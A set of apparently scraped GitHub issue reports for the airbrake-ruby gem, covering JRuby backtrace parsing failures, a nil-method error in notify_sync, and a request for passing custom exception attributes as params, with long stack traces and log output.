    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.response.block in read_body_0(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http/response.rb:290)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.response.inflater(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http/response.rb:275)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.response.read_body_0(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http/response.rb:280)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.response.read_body(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http/response.rb:201)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.response.body(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http/response.rb:226)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.response.reading_body(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http/response.rb:163)
    at uri_3a_classloader_3a_.gems.aws_minus_sdk_minus_core_minus_2_dot_5_dot_6.lib.seahorse.client.net_http.patches.new_transport_request(uri:classloader:/gems/aws-sdk-core-2.5.6/lib/seahorse/client/net_http/patches.rb:37)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.request(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http.rb:1397)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.block in request(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http.rb:1390)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.start(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http.rb:857)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.request(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http.rb:1388)
    at uri_3a_classloader_3a_.gems.httparty_minus_0_dot_14_dot_0.lib.httparty.request.perform(uri:classloader:/gems/httparty-0.14.0/lib/httparty/request.rb:118)
    at uri_3a_classloader_3a_.gems.httparty_minus_0_dot_14_dot_0.lib.httparty.perform_request(uri:classloader:/gems/httparty-0.14.0/lib/httparty.rb:560)
    at uri_3a_classloader_3a_.gems.httparty_minus_0_dot_14_dot_0.lib.httparty.get(uri:classloader:/gems/httparty-0.14.0/lib/httparty.rb:486)
    at uri_3a_classloader_3a_.gems.park_server_minus_1_dot_5_dot_1.lib.park_server.client.perform(uri:classloader:/gems/park_server-1.5.1/lib/park_server/client.rb:110)
    at uri_3a_classloader_3a_.gems.park_server_minus_1_dot_5_dot_1.lib.park_server.client.get(uri:classloader:/gems/park_server-1.5.1/lib/park_server/client.rb:55)
    at uri_3a_classloader_3a_.lib.processors.image_upload.fetch_image(uri:classloader:/lib/processors/image_upload.rb:93)
    at uri_3a_classloader_3a_.lib.processors.image_upload.process!(uri:classloader:/lib/processors/image_upload.rb:157)
    at bin.processors.image_uploader.block in make_streams(bin/processors/image_uploader.rb:21)

And Iโ€™m passing that exception to Airbrake.notify_sync and itโ€™s raising an exception with this message:

undefined method `sub!' for nil:NilClass

just FYI, I also have a megaton of โ€œcanโ€™t parseโ€ error messages in my logs, as I reported in #116 โ€” so I might be getting some of the info in the logs mixed up. (I really need to switch to structured logging.)

Adding to the 'params' area of airbrake.io when Airbrake.notify not explicitly called

airbrake (5.3.0), airbrake-ruby (1.4.2), ruby 2.2.3p173

Passing custom params is straightforward when explicitly notifying Airbrake:Airbrake.notify("Temp is too high", params: { max_temp: 300 }

How can extra params be passed when Airbrake is notified implicitly e.g. from a failed request or failed job in Sidekiq / ActiveJob?


I gather from airbrake/airbrake#528 that this might be possible using the add_filter API but I don't think notice exposes the exception object itself.

(Looking here -

- we only get the class name, message and backtrace of exceptions. No way to access arbitrary attributes on the exception.)

e.g.

  class Error < StandardError
    attr_reader :params

    def initialize(params = {})
      @params = params
    end
  end

  # if it were possible to expose the exception object on `notice`:
  class AddCustomParamsFilter
    def call(notice)
      notice[:errors].each do |error|
        notice[:params].merge!(error[:type] => error[:exception].params)
      end
    end
  end

Stepping back a bit - what I'd like to do is define exception classes with custom attributes and have those attributes pass over to Airbrake. At the moment I'm including all the required information in the #message, which is messy and prevents the UI from deduping the errors properly.

Canโ€™t parse JRuby backtrace

This happened last week so I donโ€™t recall the exact circumstancesโ€ฆ I believe I was using the current/latest version but Iโ€™m not 100% sure. Sorry so vague.

0 [main] ERROR FOO  - Java::OrgPostgresqlUtil::PSQLException: The connection attempt failed.
Backtrace:
	org.postgresql.core.v3.ConnectionFactoryImpl.openConnectionImpl(org/postgresql/core/v3/ConnectionFactoryImpl.java:257)
	org.postgresql.core.ConnectionFactory.openConnection(org/postgresql/core/ConnectionFactory.java:65)
	org.postgresql.jdbc2.AbstractJdbc2Connection.<init>(org/postgresql/jdbc2/AbstractJdbc2Connection.java:149)
	org.postgresql.jdbc3.AbstractJdbc3Connection.<init>(org/postgresql/jdbc3/AbstractJdbc3Connection.java:35)
	org.postgresql.jdbc3g.AbstractJdbc3gConnection.<init>(org/postgresql/jdbc3g/AbstractJdbc3gConnection.java:22)
	org.postgresql.jdbc4.AbstractJdbc4Connection.<init>(org/postgresql/jdbc4/AbstractJdbc4Connection.java:47)
	org.postgresql.jdbc4.Jdbc4Connection.<init>(org/postgresql/jdbc4/Jdbc4Connection.java:30)
	org.postgresql.Driver.makeConnection(org/postgresql/Driver.java:414)
	org.postgresql.Driver.connect(org/postgresql/Driver.java:282)
	java.lang.reflect.Method.invoke(java/lang/reflect/Method.java:498)
	org.jruby.javasupport.JavaMethod.invokeDirectWithExceptionHandling(org/jruby/javasupport/JavaMethod.java:468)
	org.jruby.javasupport.JavaMethod.invokeDirect(org/jruby/javasupport/JavaMethod.java:326)
	RUBY.connect(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/adapters/jdbc.rb:226)
	RUBY.make_new(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool.rb:116)
	RUBY.make_new(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:228)
	RUBY.available(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:201)
	RUBY._acquire(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:137)
	RUBY.block in acquire(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:151)
	RUBY.block in sync(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:282)
	org.jruby.ext.thread.Mutex.synchronize(org/jruby/ext/thread/Mutex.java:148)
	org.jruby.ext.thread.Mutex$INVOKER$i$0$0$synchronize_DBG.call(org/jruby/ext/thread/Mutex$INVOKER$i$0$0$synchronize_DBG.gen)
	RUBY.sync(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:282)
	RUBY.acquire(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:150)
	RUBY.hold(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:106)
	RUBY.synchronize(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/database/connecting.rb:285)
	RUBY.server_version(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/adapters/shared/postgres.rb:508)
	RUBY.server_version(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/adapters/shared/postgres.rb:1793)
	RUBY.select_sql(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/dataset/sql.rb:233)
	RUBY.each(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/dataset/actions.rb:149)
	org.jruby.RubyClass.finvoke(org/jruby/RubyClass.java:512)
	org.jruby.RubyEnumerable.callEach19(org/jruby/RubyEnumerable.java:116)
	org.jruby.RubyEnumerable.collectCommon(org/jruby/RubyEnumerable.java:838)
	org.jruby.RubyEnumerable.map(org/jruby/RubyEnumerable.java:830)
	org.jruby.RubyEnumerable$INVOKER$s$0$0$map_DBG.call(org/jruby/RubyEnumerable$INVOKER$s$0$0$map_DBG.gen)
	RUBY.map(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/dataset/actions.rb:455)
	RUBY.get_checkpoints(/Users/pavi/dev/sdp-streams/lib/sources/bay_event_forwarder.rb:147)
	org.jruby.RubyClass.finvoke(org/jruby/RubyClass.java:522)
	org.jruby.RubyBasicObject.send19(org/jruby/RubyBasicObject.java:1680)
	org.jruby.RubyKernel.send19(org/jruby/RubyKernel.java:1998)
	org.jruby.RubyKernel$INVOKER$s$send19_DBG.call(org/jruby/RubyKernel$INVOKER$s$send19_DBG.gen)
	RUBY.send_to(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/method_reference.rb:43)
	RUBY.call_with(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/call_with.rb:79)
	RUBY.block in get_checkpoints(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/method_handler.rb:138)
	org.jruby.RubyProc.call(org/jruby/RubyProc.java:289)
	RUBY.get_sites_with_checkpoints(/Users/pavi/dev/sdp-streams/lib/sources/bay_event_forwarder.rb:162)
	org.jruby.RubyClass.finvoke(org/jruby/RubyClass.java:522)
	org.jruby.RubyBasicObject.send19(org/jruby/RubyBasicObject.java:1680)
	org.jruby.RubyKernel.send19(org/jruby/RubyKernel.java:1998)
	org.jruby.RubyKernel$INVOKER$s$send19_DBG.call(org/jruby/RubyKernel$INVOKER$s$send19_DBG.gen)
	RUBY.send_to(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/method_reference.rb:43)
	RUBY.call_with(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/call_with.rb:79)
	RUBY.block in get_sites_with_checkpoints(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/method_handler.rb:138)
	org.jruby.RubyProc.call(org/jruby/RubyProc.java:289)
	RUBY.start!(bin/sources/bay_event_forwarder.rb:24)
	RUBY.<main>(bin/sources/bay_event_forwarder.rb:54)
	org.jruby.Ruby.runInterpreter(org/jruby/Ruby.java:840)
	org.jruby.Ruby.runInterpreter(org/jruby/Ruby.java:844)
	org.jruby.Ruby.runNormally(org/jruby/Ruby.java:747)
	org.jruby.Ruby.runNormally(org/jruby/Ruby.java:760)
	org.jruby.Ruby.runFromMain(org/jruby/Ruby.java:573)
	org.jruby.Main.doRunFromMain(org/jruby/Main.java:417)
	org.jruby.Main.internalRun(org/jruby/Main.java:305)
	org.jruby.Main.run(org/jruby/Main.java:232)
	org.jruby.Main.main(org/jruby/Main.java:204)
E, [2017-03-13T09:53:20.144000 #60300] ERROR -- : can't parse 'org.postgresql.core.v3.ConnectionFactoryImpl.openConnectionImpl(org/postgresql/core/v3/ConnectionFactoryImpl.java:257)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.147000 #60300] ERROR -- : can't parse 'org.postgresql.core.ConnectionFactory.openConnection(org/postgresql/core/ConnectionFactory.java:65)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.148000 #60300] ERROR -- : can't parse 'org.postgresql.jdbc2.AbstractJdbc2Connection.<init>(org/postgresql/jdbc2/AbstractJdbc2Connection.java:149)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.148000 #60300] ERROR -- : can't parse 'org.postgresql.jdbc3.AbstractJdbc3Connection.<init>(org/postgresql/jdbc3/AbstractJdbc3Connection.java:35)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.148000 #60300] ERROR -- : can't parse 'org.postgresql.jdbc3g.AbstractJdbc3gConnection.<init>(org/postgresql/jdbc3g/AbstractJdbc3gConnection.java:22)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.148000 #60300] ERROR -- : can't parse 'org.postgresql.jdbc4.AbstractJdbc4Connection.<init>(org/postgresql/jdbc4/AbstractJdbc4Connection.java:47)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.149000 #60300] ERROR -- : can't parse 'org.postgresql.jdbc4.Jdbc4Connection.<init>(org/postgresql/jdbc4/Jdbc4Connection.java:30)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.149000 #60300] ERROR -- : can't parse 'org.postgresql.Driver.makeConnection(org/postgresql/Driver.java:414)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.149000 #60300] ERROR -- : can't parse 'org.postgresql.Driver.connect(org/postgresql/Driver.java:282)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.149000 #60300] ERROR -- : can't parse 'java.lang.reflect.Method.invoke(java/lang/reflect/Method.java:498)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.150000 #60300] ERROR -- : can't parse 'org.jruby.javasupport.JavaMethod.invokeDirectWithExceptionHandling(org/jruby/javasupport/JavaMethod.java:468)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.150000 #60300] ERROR -- : can't parse 'org.jruby.javasupport.JavaMethod.invokeDirect(org/jruby/javasupport/JavaMethod.java:326)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.150000 #60300] ERROR -- : can't parse 'RUBY.connect(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/adapters/jdbc.rb:226)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.150000 #60300] ERROR -- : can't parse 'RUBY.make_new(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool.rb:116)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.151000 #60300] ERROR -- : can't parse 'RUBY.make_new(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:228)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.151000 #60300] ERROR -- : can't parse 'RUBY.available(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:201)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.151000 #60300] ERROR -- : can't parse 'RUBY._acquire(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:137)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.151000 #60300] ERROR -- : can't parse 'RUBY.block in acquire(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:151)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.152000 #60300] ERROR -- : can't parse 'RUBY.block in sync(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:282)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.152000 #60300] ERROR -- : can't parse 'org.jruby.ext.thread.Mutex.synchronize(org/jruby/ext/thread/Mutex.java:148)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.152000 #60300] ERROR -- : can't parse 'org.jruby.ext.thread.Mutex$INVOKER$i$0$0$synchronize_DBG.call(org/jruby/ext/thread/Mutex$INVOKER$i$0$0$synchronize_DBG.gen)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.152000 #60300] ERROR -- : can't parse 'RUBY.sync(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:282)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.153000 #60300] ERROR -- : can't parse 'RUBY.acquire(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:150)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.153000 #60300] ERROR -- : can't parse 'RUBY.hold(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:106)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.153000 #60300] ERROR -- : can't parse 'RUBY.synchronize(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/database/connecting.rb:285)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.153000 #60300] ERROR -- : can't parse 'RUBY.server_version(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/adapters/shared/postgres.rb:508)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.153000 #60300] ERROR -- : can't parse 'RUBY.server_version(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/adapters/shared/postgres.rb:1793)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.154000 #60300] ERROR -- : can't parse 'RUBY.select_sql(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/dataset/sql.rb:233)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.154000 #60300] ERROR -- : can't parse 'RUBY.each(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/dataset/actions.rb:149)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.154000 #60300] ERROR -- : can't parse 'org.jruby.RubyClass.finvoke(org/jruby/RubyClass.java:512)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.154000 #60300] ERROR -- : can't parse 'org.jruby.RubyEnumerable.callEach19(org/jruby/RubyEnumerable.java:116)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.154000 #60300] ERROR -- : can't parse 'org.jruby.RubyEnumerable.collectCommon(org/jruby/RubyEnumerable.java:838)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.155000 #60300] ERROR -- : can't parse 'org.jruby.RubyEnumerable.map(org/jruby/RubyEnumerable.java:830)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.155000 #60300] ERROR -- : can't parse 'org.jruby.RubyEnumerable$INVOKER$s$0$0$map_DBG.call(org/jruby/RubyEnumerable$INVOKER$s$0$0$map_DBG.gen)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.155000 #60300] ERROR -- : can't parse 'RUBY.map(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/dataset/actions.rb:455)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.155000 #60300] ERROR -- : can't parse 'RUBY.get_checkpoints(/Users/pavi/dev/sdp-streams/lib/sources/bay_event_forwarder.rb:147)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.155000 #60300] ERROR -- : can't parse 'org.jruby.RubyClass.finvoke(org/jruby/RubyClass.java:522)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.156000 #60300] ERROR -- : can't parse 'org.jruby.RubyBasicObject.send19(org/jruby/RubyBasicObject.java:1680)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.156000 #60300] ERROR -- : can't parse 'org.jruby.RubyKernel.send19(org/jruby/RubyKernel.java:1998)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.156000 #60300] ERROR -- : can't parse 'org.jruby.RubyKernel$INVOKER$s$send19_DBG.call(org/jruby/RubyKernel$INVOKER$s$send19_DBG.gen)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.156000 #60300] ERROR -- : can't parse 'RUBY.send_to(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/method_reference.rb:43)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.157000 #60300] ERROR -- : can't parse 'RUBY.call_with(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/call_with.rb:79)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.157000 #60300] ERROR -- : can't parse 'RUBY.block in get_checkpoints(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/method_handler.rb:138)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.157000 #60300] ERROR -- : can't parse 'org.jruby.RubyProc.call(org/jruby/RubyProc.java:289)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.157000 #60300] ERROR -- : can't parse 'RUBY.get_sites_with_checkpoints(/Users/pavi/dev/sdp-streams/lib/sources/bay_event_forwarder.rb:162)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.157000 #60300] ERROR -- : can't parse 'org.jruby.RubyClass.finvoke(org/jruby/RubyClass.java:522)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.158000 #60300] ERROR -- : can't parse 'org.jruby.RubyBasicObject.send19(org/jruby/RubyBasicObject.java:1680)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.158000 #60300] ERROR -- : can't parse 'org.jruby.RubyKernel.send19(org/jruby/RubyKernel.java:1998)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.158000 #60300] ERROR -- : can't parse 'org.jruby.RubyKernel$INVOKER$s$send19_DBG.call(org/jruby/RubyKernel$INVOKER$s$send19_DBG.gen)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.158000 #60300] ERROR -- : can't parse 'RUBY.send_to(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/method_reference.rb:43)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.158000 #60300] ERROR -- : can't parse 'RUBY.call_with(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/call_with.rb:79)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.158000 #60300] ERROR -- : can't parse 'RUBY.block in get_sites_with_checkpoints(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/method_handler.rb:138)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.159000 #60300] ERROR -- : can't parse 'org.jruby.RubyProc.call(org/jruby/RubyProc.java:289)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.159000 #60300] ERROR -- : can't parse 'RUBY.start!(bin/sources/bay_event_forwarder.rb:24)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.159000 #60300] ERROR -- : can't parse 'RUBY.<main>(bin/sources/bay_event_forwarder.rb:54)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.159000 #60300] ERROR -- : can't parse 'org.jruby.Ruby.runInterpreter(org/jruby/Ruby.java:840)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.160000 #60300] ERROR -- : can't parse 'org.jruby.Ruby.runInterpreter(org/jruby/Ruby.java:844)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.160000 #60300] ERROR -- : can't parse 'org.jruby.Ruby.runNormally(org/jruby/Ruby.java:747)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.160000 #60300] ERROR -- : can't parse 'org.jruby.Ruby.runNormally(org/jruby/Ruby.java:760)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.160000 #60300] ERROR -- : can't parse 'org.jruby.Ruby.runFromMain(org/jruby/Ruby.java:573)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.160000 #60300] ERROR -- : can't parse 'org.jruby.Main.doRunFromMain(org/jruby/Main.java:417)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.160000 #60300] ERROR -- : can't parse 'org.jruby.Main.internalRun(org/jruby/Main.java:305)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.160000 #60300] ERROR -- : can't parse 'org.jruby.Main.run(org/jruby/Main.java:232)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.161000 #60300] ERROR -- : can't parse 'org.jruby.Main.main(org/jruby/Main.java:204)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
#<Class:0x57adfab0>: Java::OrgPostgresqlUtil::PSQLException: The connection attempt failed.
                             make_new at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool.rb:125
                             make_new at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:228
                            available at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:201
